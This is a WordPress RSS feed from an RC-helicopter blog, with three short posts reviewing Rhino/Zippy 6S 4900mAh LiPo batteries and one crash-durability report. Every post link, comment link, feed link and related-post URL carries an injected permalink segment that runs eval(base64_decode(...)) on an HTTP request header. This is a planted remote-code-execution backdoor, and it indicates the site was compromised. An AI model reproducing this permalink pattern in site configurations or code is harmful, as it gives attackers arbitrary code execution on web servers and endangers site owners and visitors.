<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>UK Heli Log &#187; zippy</title>
	<atom:link href="http://heli.brixtonjunkies.com/tag/zippy/feed/" rel="self" type="application/rss+xml" />
	<link>http://heli.brixtonjunkies.com</link>
	<description>RC Helicopters</description>
	<lastBuildDate>Mon, 21 Jun 2010 11:23:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Rhino 6S 4900mAh 20C Crash Durability</title>
		<link>http://heli.brixtonjunkies.com/2009/08/10/rhino-6s-4900mah-20c-crash-durability/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://heli.brixtonjunkies.com/2009/08/10/rhino-6s-4900mah-20c-crash-durability/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 13:26:59 +0000</pubDate>
		<dc:creator>alchemist</dc:creator>
				<category><![CDATA[General Discussion]]></category>
		<category><![CDATA[4900]]></category>
		<category><![CDATA[battery]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[rhino]]></category>
		<category><![CDATA[zippy]]></category>

		<guid isPermaLink="false">http://heli.brixtonjunkies.com/?p=1624</guid>
		<description><![CDATA[10 points for crash durability, this pack took the full brunt of the crash when my Trex600 went in, and it&#8217;s still rocks. See: http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/ Related posts:Rhino 4900mAh 6S 22.2 20C Review: Rhino (Zippy) 4900mah 6S Lipo Review Near crash


Related posts:<ol><li><a href='http://heli.brixtonjunkies.com/2009/06/05/rhino-4900mah-6s-222-20c/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Rhino 4900mAh 6S 22.2 20C'>Rhino 4900mAh 6S 22.2 20C</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Review: Rhino (Zippy) 4900mah 6S Lipo Review'>Review: Rhino (Zippy) 4900mah 6S Lipo Review</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/06/05/near-crash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Near crash'>Near crash</a></li>
</ol>]]></description>
		<wfw:commentRss>http://heli.brixtonjunkies.com/2009/08/10/rhino-6s-4900mah-20c-crash-durability/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review: Rhino (Zippy) 4900mah 6S Lipo Review</title>
		<link>http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 13:29:53 +0000</pubDate>
		<dc:creator>alchemist</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[4900]]></category>
		<category><![CDATA[battery]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[rhino]]></category>
		<category><![CDATA[zippy]]></category>

		<guid isPermaLink="false">http://heli.brixtonjunkies.com/?p=277</guid>
		<description><![CDATA[I just brought 3 based on the fact they are so dam cheap (the cost of 1 well known brand). They also weigh exactly the same as a TP5000 6S V2 (+- 2grams). If that&#8217;s your current battery then COG wont change. They come pre-installed with deans connectors which is a nice touch. The balancer [...]


Related posts:<ol><li><a href='http://heli.brixtonjunkies.com/2009/06/05/rhino-4900mah-6s-222-20c/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Rhino 4900mAh 6S 22.2 20C'>Rhino 4900mAh 6S 22.2 20C</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/10/08/review-align-850mah-lipo-30c-battery-hbp85001t/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Review: Align 850mAh Lipo 30C Battery (HBP85001T)'>Review: Align 850mAh Lipo 30C Battery (HBP85001T)</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/08/10/rhino-6s-4900mah-20c-crash-durability/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Rhino 6S 4900mAh 20C Crash Durability'>Rhino 6S 4900mAh 20C Crash Durability</a></li>
</ol>]]></description>
		<wfw:commentRss>http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Rhino 4900mAh 6S 22.2 20C</title>
		<link>http://heli.brixtonjunkies.com/2009/06/05/rhino-4900mah-6s-222-20c/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://heli.brixtonjunkies.com/2009/06/05/rhino-4900mah-6s-222-20c/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 18:46:51 +0000</pubDate>
		<dc:creator>alchemist</dc:creator>
				<category><![CDATA[General Discussion]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[4900]]></category>
		<category><![CDATA[600]]></category>
		<category><![CDATA[battery]]></category>
		<category><![CDATA[rhino]]></category>
		<category><![CDATA[trex]]></category>
		<category><![CDATA[zippy]]></category>

		<guid isPermaLink="false">http://heli.brixtonjunkies.com/?p=84</guid>
		<description><![CDATA[These suckers are super cheap via http://www.hobbycity.com who are based in Hong Kong. These batteries will be used on my Trex 600 for hard 3D, so I hope the 20C rating will be okay. There have been lots of good reports so I hope so&#8230; Battery review here Related posts:Review: Rhino (Zippy) 4900mah 6S Lipo [...]


Related posts:<ol><li><a href='http://heli.brixtonjunkies.com/2009/06/12/rhino-zippy-4900mah-6s-lipo-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Review: Rhino (Zippy) 4900mah 6S Lipo Review'>Review: Rhino (Zippy) 4900mah 6S Lipo Review</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/08/10/rhino-6s-4900mah-20c-crash-durability/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Rhino 6S 4900mAh 20C Crash Durability'>Rhino 6S 4900mAh 20C Crash Durability</a></li>
<li><a href='http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Parcelforce/Customs Clampdown'>Parcelforce/Customs Clampdown</a></li>
</ol>]]></description>
		<wfw:commentRss>http://heli.brixtonjunkies.com/2009/06/05/rhino-4900mah-6s-222-20c/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

